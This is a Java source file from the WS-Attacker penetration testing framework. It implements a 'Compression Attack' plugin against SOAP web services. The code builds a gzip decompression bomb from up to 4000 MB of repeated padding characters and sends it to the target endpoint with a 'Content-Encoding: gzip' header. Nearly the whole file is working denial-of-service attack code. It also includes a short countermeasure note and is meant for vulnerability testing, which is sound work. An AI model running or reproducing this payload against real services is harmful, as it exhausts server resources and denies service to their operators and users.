/** * WS-Attacker - A Modular Web Services Penetration Testing Framework Copyright * (C) 2012 Andreas Falkenberg * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ package wsattacker.plugin.dos; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.zip.GZIPOutputStream; import wsattacker.main.composition.plugin.option.AbstractOptionInteger; import wsattacker.main.composition.plugin.option.AbstractOptionVarchar; import wsattacker.main.plugin.option.OptionLimitedInteger; import wsattacker.main.plugin.option.OptionSimpleVarchar; import wsattacker.plugin.dos.dosExtension.abstractPlugin.AbstractDosPlugin; import wsattacker.plugin.dos.dosExtension.option.OptionTextAreaSoapMessage; import wsattacker.plugin.dos.dosExtension.requestSender.RequestObject; public class Compression extends AbstractDosPlugin { // Mandatory DOS-specific Attributes - Do NOT change! // <editor-fold defaultstate="collapsed" desc="Autogenerated Attributes"> private static final long serialVersionUID = 1L; // </editor-fold> // Custom Attributes private AbstractOptionVarchar usedPayloadChar; private AbstractOptionInteger lengthOfPayload; @Override public void initializeDosPlugin() { initData(); // Custom Initilisation usedPayloadChar = new OptionSimpleVarchar( "Character to use for xml padding", " ", 1 ); lengthOfPayload = new OptionLimitedInteger( "Size of character payload in MB", 100, 2, 4000 ); getPluginOptions().add( lengthOfPayload ); getPluginOptions().add( usedPayloadChar ); } public AbstractOptionInteger getOptionLengthOfPayload() { return lengthOfPayload; } public AbstractOptionVarchar getOptionUsedPayloadChar() { return usedPayloadChar; } @Override public OptionTextAreaSoapMessage.PayloadPosition getPayloadPosition() { return OptionTextAreaSoapMessage.PayloadPosition.HEADERLASTCHILDELEMENT; } public void initData() { setName( "Compression Attack" ); setDescription( "<html><p>This attack checks whether or not a Web service is vulnerable to the \"Compression\" attack.</p>" + "<p>A vulnerable Web service will use too much ressources to decompress requests with a huge compression ratio.</p>" + "<p>The attack algorithm replaces the string $$PAYLOADELEMENT$$ in the SOAP message below " + "with the amount of MB of Characters defined in 8 and 9.</p>" + "<p>The placeholder $$PAYLOADELEMENT$$ can be set to any other position in the SOAP message</p>" ); setCountermeasures( "In order to counter the attack, either request compression has to be turned of completely or some limits on the final size or compression ratio have to be set." ); } @Override public void createTamperedRequest() { StringBuilder sb = new StringBuilder( "" ); // replace "Payload-Attribute" with Payload-String String soapMessage = this.getOptionTextAreaSoapMessage().getValue(); String[] soapMessageParts = soapMessage.split( "\\$\\$PAYLOADELEMENT\\$\\$" ); ByteArrayOutputStream baos = new ByteArrayOutputStream(); try { GZIPOutputStream gzos = new GZIPOutputStream( baos ); gzos.write( soapMessageParts[0].getBytes( "UTF-8" ) ); byte[] buffer = new byte[1024]; Arrays.fill( buffer, (byte) this.getOptionUsedPayloadChar().getValue().charAt( 0 ) ); for ( int i = 0; i < getOptionLengthOfPayload().getValue() * 1000; i++ ) { gzos.write( buffer, 0, 1024 ); } gzos.write( soapMessageParts[1].getBytes( "UTF-8" ) ); } catch ( UnsupportedEncodingException e ) { log().warn( e ); } catch ( IOException e ) { log().warn( e ); } // get HeaderFields from original request, if required add custom // headers - make sure to clone! Map<String, String> httpHeaderMap = new HashMap<String, String>(); for ( Map.Entry<String, String> entry : getOriginalRequestHeaderFields().entrySet() ) { httpHeaderMap.put( entry.getKey(), entry.getValue() ); } httpHeaderMap.put( "Content-Encoding", "gzip" ); // write payload and header to TamperedRequestObject this.setTamperedRequestObject( new RequestObject( baos.toByteArray(), getOriginalRequest().getEndpoint(), httpHeaderMap ) ); } // ---------------------------------------------------------- // All custom DOS-Attack specific Methods below! // ---------------------------------------------------------- }